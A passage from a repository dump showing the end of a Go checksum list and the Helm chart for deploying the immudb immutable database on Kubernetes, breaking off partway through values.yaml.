h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= google.golang.org/grpc v1.57.1 h1:upNTNqv0ES+2ZOOqACwVtS3Il8M12/+Hz41RCPzAjQg= google.golang.org/grpc v1.57.1/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY= google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= ================================================ FILE: helm/.gitignore ================================================ LICENSE README.md ================================================ FILE: helm/.helmignore ================================================ # Patterns to ignore when building packages. # This supports shell glob matching, relative path matching, and # negation (prefixed with !). Only one pattern per line. .DS_Store # Common VCS dirs .git/ .gitignore .bzr/ .bzrignore .hg/ .hgignore .svn/ # Common backup files *.swp *.bak *.tmp *.orig *~ # Various IDEs .project .idea/ *.tmproj .vscode/ Makefile *.tgz ================================================ FILE: helm/Chart.yaml ================================================ apiVersion: v2 name: immudb description: The immutable database type: application version: 1.10.0 appVersion: "1.10.0" ================================================ FILE: helm/Makefile ================================================ .PHONY: package package: cp ../LICENSE ../README.md . helm package . ================================================ FILE: helm/templates/NOTES.txt ================================================ {{- if .Values.ingress.enabled }} The web interface is at this address: http{{ if $.Values.ingress.tls }}s{{ end }}://{{ .Values.ingress.hostname }}/ You can also access immudb web console and grpc interface by running these commands {{- else }} You can access immudb web console and grpc interface by running these commands {{- end }} {{- if contains "NodePort" .Values.service.type }} export NODE_PORT0=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ include "immudb.fullname" . }}-http) export NODE_PORT1=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ include "immudb.fullname" . }}-grpc) export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath="{.items[0].status.addresses[0].address}") echo http://$NODE_IP:$NODE_PORT0 echo immuclient -a $NODE_IP -p $NODE_PORT1 {{- else if contains "LoadBalancer" .Values.service.type }} NOTE: It may take a few minutes for the LoadBalancer IP to be available. You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w -l app.kubernetes.io/name={{ include "immudb.name" . }}' export SERVICE_IP0=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include "immudb.fullname" . }}-http --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}") export SERVICE_IP1=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include "immudb.fullname" . }}-grpc --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}") echo Visit: http://$SERVICE_IP0:{{ .Values.service.ports.http }} echo immuclient -a $SERVICE_IP1 -p {{ .Values.service.ports.grpc }} {{- else if contains "ClusterIP" .Values.service.type }} export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "immudb.name" . }},app.kubernetes.io/instance={{ .Release.Name }}" -o jsonpath="{.items[0].metadata.name}") export CONTAINER_PORT0=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath="{.spec.containers[0].ports[0].containerPort}") export CONTAINER_PORT1=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath="{.spec.containers[0].ports[1].containerPort}") echo "Visit http://127.0.0.1:8080 to access immudb web interface" echo "You can use grpc interface, connecting immuclient to localhost, port 3322" echo "immuclient -a 127.0.0.1 -p 3322" kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT0 3322:$CONTAINER_PORT1 {{- end }} Any feedback (suggestion, corrections, bug reports) is appreciated! ================================================ FILE: helm/templates/_helpers.tpl ================================================ {{/* Expand the name of the chart. */}} {{- define "immudb.name" -}} {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} {{- end }} {{/* Create a default fully qualified app name. We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). If release name contains chart name it will be used as a full name. */}} {{- define "immudb.fullname" -}} {{- if .Values.fullnameOverride }} {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} {{- else }} {{- $name := default .Chart.Name .Values.nameOverride }} {{- if contains $name .Release.Name }} {{- .Release.Name | trunc 63 | trimSuffix "-" }} {{- else }} {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} {{- end }} {{- end }} {{- end }} {{/* Create chart name and version as used by the chart label. */}} {{- define "immudb.chart" -}} {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} {{- end }} {{/* Common labels */}} {{- define "immudb.labels" -}} helm.sh/chart: {{ include "immudb.chart" . }} {{ include "immudb.selectorLabels" . }} {{- if .Chart.AppVersion }} app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} {{- end }} app.kubernetes.io/managed-by: {{ .Release.Service }} {{- end }} {{/* Selector labels */}} {{- define "immudb.selectorLabels" -}} app.kubernetes.io/name: {{ include "immudb.name" . }} app.kubernetes.io/instance: {{ .Release.Name }} {{- end }} {{/* Create the name of the service account to use */}} {{- define "immudb.serviceAccountName" -}} {{- if .Values.serviceAccount.create }} {{- default (include "immudb.fullname" .) .Values.serviceAccount.name }} {{- else }} {{- default "default" .Values.serviceAccount.name }} {{- end }} {{- end }} {{- define "immudb.chart.ingressapiversion" -}} {{- if semverCompare ">=1.19-0" $.Capabilities.KubeVersion.GitVersion }} {{- printf "networking.k8s.io/v1" }} {{- else if semverCompare ">=1.14-0" $.Capabilities.KubeVersion.GitVersion }} {{- printf "networking.k8s.io/v1beta1" }} {{- else }} {{- printf "extensions/v1beta1" }} {{- end }} {{- end }} ================================================ FILE: helm/templates/configmap.yaml ================================================ {{- if .Values.config.enabled }} apiVersion: v1 kind: ConfigMap metadata: name: {{ include "immudb.fullname" . }}-config labels: {{- include "immudb.labels" . | nindent 4 }} data: immudb.toml: | {{ .Values.config.data | indent 4 }} {{- end }} ================================================ FILE: helm/templates/ingress.yaml ================================================ {{- if .Values.ingress.enabled -}} {{- $fullName := include "immudb.fullname" . -}} {{- if and .Values.ingress.className (not (semverCompare ">=1.18-0" .Capabilities.KubeVersion.GitVersion)) }} {{- if not (hasKey .Values.ingress.annotations "kubernetes.io/ingress.class") }} {{- $_ := set .Values.ingress.annotations "kubernetes.io/ingress.class" .Values.ingress.className}} {{- end }} {{- end }} apiVersion: {{ include "immudb.chart.ingressapiversion" . }} kind: Ingress metadata: name: {{ $fullName }}-http labels: {{- include "immudb.labels" . | nindent 4 }} {{- with .Values.ingress.annotations }} annotations: {{- toYaml . | nindent 4 }} {{- if $.Values.ingress.tls.enabled }} traefik.ingress.kubernetes.io/router.entrypoints: websecure traefik.ingress.kubernetes.io/router.tls: "true" {{- end }} {{- end }} spec: {{- if and .Values.ingress.className (semverCompare ">=1.18-0" .Capabilities.KubeVersion.GitVersion) }} ingressClassName: {{ .Values.ingress.className }} {{- end }} {{- if .Values.ingress.tls.enabled }} tls: - hosts: - {{ $.Values.ingress.hostname | quote }} secretName: {{ .Values.ingress.tls.secretName }} {{- end }} rules: - host: {{ $.Values.ingress.hostname | quote }} http: paths: - path: / {{- if semverCompare ">=1.18-0" $.Capabilities.KubeVersion.GitVersion }} pathType: Prefix backend: {{- if semverCompare ">=1.19-0" $.Capabilities.KubeVersion.GitVersion }} service: name: {{ $fullName }}-http port: number: {{ $.Values.service.ports.http }} {{- else }} serviceName: {{ $fullName }} servicePort: {{ $.Values.service.ports.http }} {{- end }} {{- end }} {{- end }} ================================================ FILE: helm/templates/secret.yaml ================================================ {{ if $.Values.adminPassword }} apiVersion: v1 kind: Secret metadata: name: {{ include "immudb.fullname" . }}-credentials labels: {{- include "immudb.labels" . | nindent 4 }} type: Opaque data: immudb-admin-password: "{{$.Values.adminPassword|b64enc}}" {{ end }} ================================================ FILE: helm/templates/service.yaml ================================================ apiVersion: v1 kind: Service metadata: name: {{ include "immudb.fullname" . }}-http labels: {{- include "immudb.labels" . | nindent 4 }} spec: type: {{ .Values.service.type }} ports: - port: {{ .Values.service.ports.http }} targetPort: http protocol: TCP name: http - port: {{ .Values.service.ports.metrics }} targetPort: metrics protocol: TCP name: metrics selector: {{- include "immudb.selectorLabels" . | nindent 4 }} --- apiVersion: v1 kind: Service metadata: name: {{ include "immudb.fullname" . }}-grpc labels: {{- include "immudb.labels" . | nindent 4 }} annotations: traefik.ingress.kubernetes.io/service.serversscheme: h2c spec: type: {{ .Values.service.type }} ports: - port: {{ .Values.service.ports.grpc }} targetPort: grpc protocol: TCP name: grpc selector: {{- include "immudb.selectorLabels" . | nindent 4 }} ================================================ FILE: helm/templates/statefulset.yaml ================================================ {{- if gt (.Values.replicaCount | toString | atoi) 1 }} {{- fail "At the moment, you can just have 1 instance of immudb. We are working to raise that limit."}} {{- end }} apiVersion: apps/v1 kind: StatefulSet metadata: name: {{ include "immudb.fullname" . }} labels: {{- include "immudb.labels" . | nindent 4 }} spec: replicas: {{ .Values.replicaCount }} selector: matchLabels: {{- include "immudb.selectorLabels" . | nindent 6 }} serviceName: {{ include "immudb.fullname" . }} template: metadata: {{- with .Values.podAnnotations }} annotations: {{- toYaml . | nindent 8 }} {{- end }} labels: {{- include "immudb.selectorLabels" . | nindent 8 }} spec: {{- with .Values.imagePullSecrets }} imagePullSecrets: {{- toYaml . | nindent 8 }} {{- end }} automountServiceAccountToken: false securityContext: {{- toYaml .Values.podSecurityContext | nindent 8 }} volumes: - name: immudb-storage persistentVolumeClaim: claimName: {{ include "immudb.fullname" . }} {{- if .Values.config.enabled }} - name: immudb-config configMap: name: {{ include "immudb.fullname" . }}-config {{- end }} containers: - name: {{ .Chart.Name }} securityContext: {{- toYaml .Values.securityContext | nindent 12 }} image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" imagePullPolicy: {{ .Values.image.pullPolicy }} {{- if or .Values.args .Values.config.enabled }} command: ["/usr/sbin/immudb"] args: {{- if .Values.config.enabled }} - --config=/etc/immudb/immudb.toml {{- end }} {{- range .Values.args }} - {{ . | quote }} {{- end }} {{- end }} ports: - name: http containerPort: 8080 protocol: TCP - name: grpc containerPort: 3322 protocol: TCP - name: metrics containerPort: 9497 protocol: TCP livenessProbe: httpGet: path: /readyz port: metrics failureThreshold: 9 readinessProbe: httpGet: path: /readyz port: metrics env: {{- if $.Values.adminPassword }} - name: IMMUDB_ADMIN_PASSWORD valueFrom: secretKeyRef: name: {{ include "immudb.fullname" . }}-credentials key: immudb-admin-password {{- end}} {{- range .Values.env }} - name: {{ .name }} {{- if .value }} value: {{ .value | quote }} {{- else if .valueFrom }} valueFrom: {{- toYaml .valueFrom | nindent 14 }} {{- end }} {{- end }} resources: {{- if .Values.resources }} {{- toYaml .Values.resources | nindent 12 }} {{- else }} limits: memory: "512Mi" ephemeral-storage: "1Gi" requests: memory: "256Mi" ephemeral-storage: "512Mi" {{- end }} volumeMounts: - mountPath: /var/lib/immudb name: immudb-storage {{- if $.Values.volumeSubPath.enabled }} subPath: {{ $.Values.volumeSubPath.path | quote }} {{- end}} {{- if .Values.config.enabled }} - mountPath: /etc/immudb name: immudb-config readOnly: true {{- end }} {{- with .Values.nodeSelector }} nodeSelector: {{- toYaml . | nindent 8 }} {{- end }} {{- with .Values.affinity }} affinity: {{- toYaml . | nindent 8 }} {{- end }} {{- with .Values.tolerations }} tolerations: {{- toYaml . | nindent 8 }} {{- end }} volumeClaimTemplates: - metadata: name: immudb-storage spec: accessModes: - ReadWriteOnce {{- if .Values.volume.Class }} storageClassName: {{ .Values.volume.Class | quote }} {{- end }} resources: requests: storage: {{ .Values.volume.size }} ================================================ FILE: helm/templates/tests/test-connection.yaml ================================================ apiVersion: v1 kind: Pod metadata: name: "{{ include "immudb.fullname" . }}-test-connection" labels: {{- include "immudb.labels" . | nindent 4 }} annotations: "helm.sh/hook": test spec: automountServiceAccountToken: false containers: - name: wget image: busybox command: ['wget'] args: ['{{ include "immudb.fullname" . }}:{{ .Values.service.ports.http }}'] resources: limits: memory: "64Mi" ephemeral-storage: "64Mi" requests: memory: "32Mi" ephemeral-storage: "32Mi" restartPolicy: Never ================================================ FILE: helm/values.yaml ================================================ # Default values for immudb. # This is a YAML-formatted file. # Declare variables to be passed into your templates. replicaCount: 1 image: repository: codenotary/immudb pullPolicy: IfNotPresent # Overrides the image tag whose default is the chart appVersion. tag: "" imagePullSecrets: [] nameOverride: "" fullnameOverride: "" volume: class: "" size: 5Gi adminPassword: "" # ImmuDB Configuration Options # You can configure immudb using three methods: # 1. Environment variables (env) # 2. Configuration file (config) # 3. Command line arguments (args) # Environment variables for immudb # All immudb configuration can be set via environment variables by prefixing with "IMMUDB_" # Examples: # - IMMUDB_PORT=3323 # - IMMUDB_ADDRESS=0.0.0.0 # - IMMUDB_DEVMODE=false env: [] # - name: IMMUDB_PORT # value: "3323" # - name: IMMUDB_DEVMODE # value: "false" # - name: IMMUDB_PGSQL_SERVER # value: "true" # - name: IMMUDB_S3_STORAGE # value: "true" # - name: IMMUDB_S3_BUCKET_NAME # value: "my-immudb-bucket" # Configuration file for immudb # If enabled, creates a ConfigMap with immudb.toml configuration file # This will be mounted to /etc/immudb/immudb.toml config: enabled: false # Configuration in TOML format # See https://docs.immudb.io/master/running/configuration.html for all options data: | dir = "/var/lib/immudb" network = "tcp" address = "0.0.0.0" port = 3322 dbname = "immudb" auth = true devmode = false pgsql-server = true pgsql-server-port = 5432 metrics-server = true metrics-server-port = 9497 web-server = true web-server-port = 8080 # S3 configuration example: # s3-storage = true # s3-bucket-name = "my-immudb-bucket" # s3-endpoint = "s3.amazonaws.com" # s3-location = "us-east-1" # Command line arguments for immudb # These will be passed directly to the immudb command # See `immudb --help` for all available options args: [] # - "--devmode" # - "--pgsql-server=false" # - "--s3-storage" # - "--s3-bucket-name=my-immudb-bucket" podAnnotations: {} podSecurityContext: runAsNonRoot: true runAsUser: 3322 runAsGroup: 3322 fsGroup: 3322 fsGroupChangePolicy: "OnRootMismatch" securityContext: readOnlyRootFilesystem: true capabilities: drop: - ALL service: type: ClusterIP ports: grpc: 3322 metrics: 9497 http: 8080 ingress: enabled: false className: "" annotations: {} # 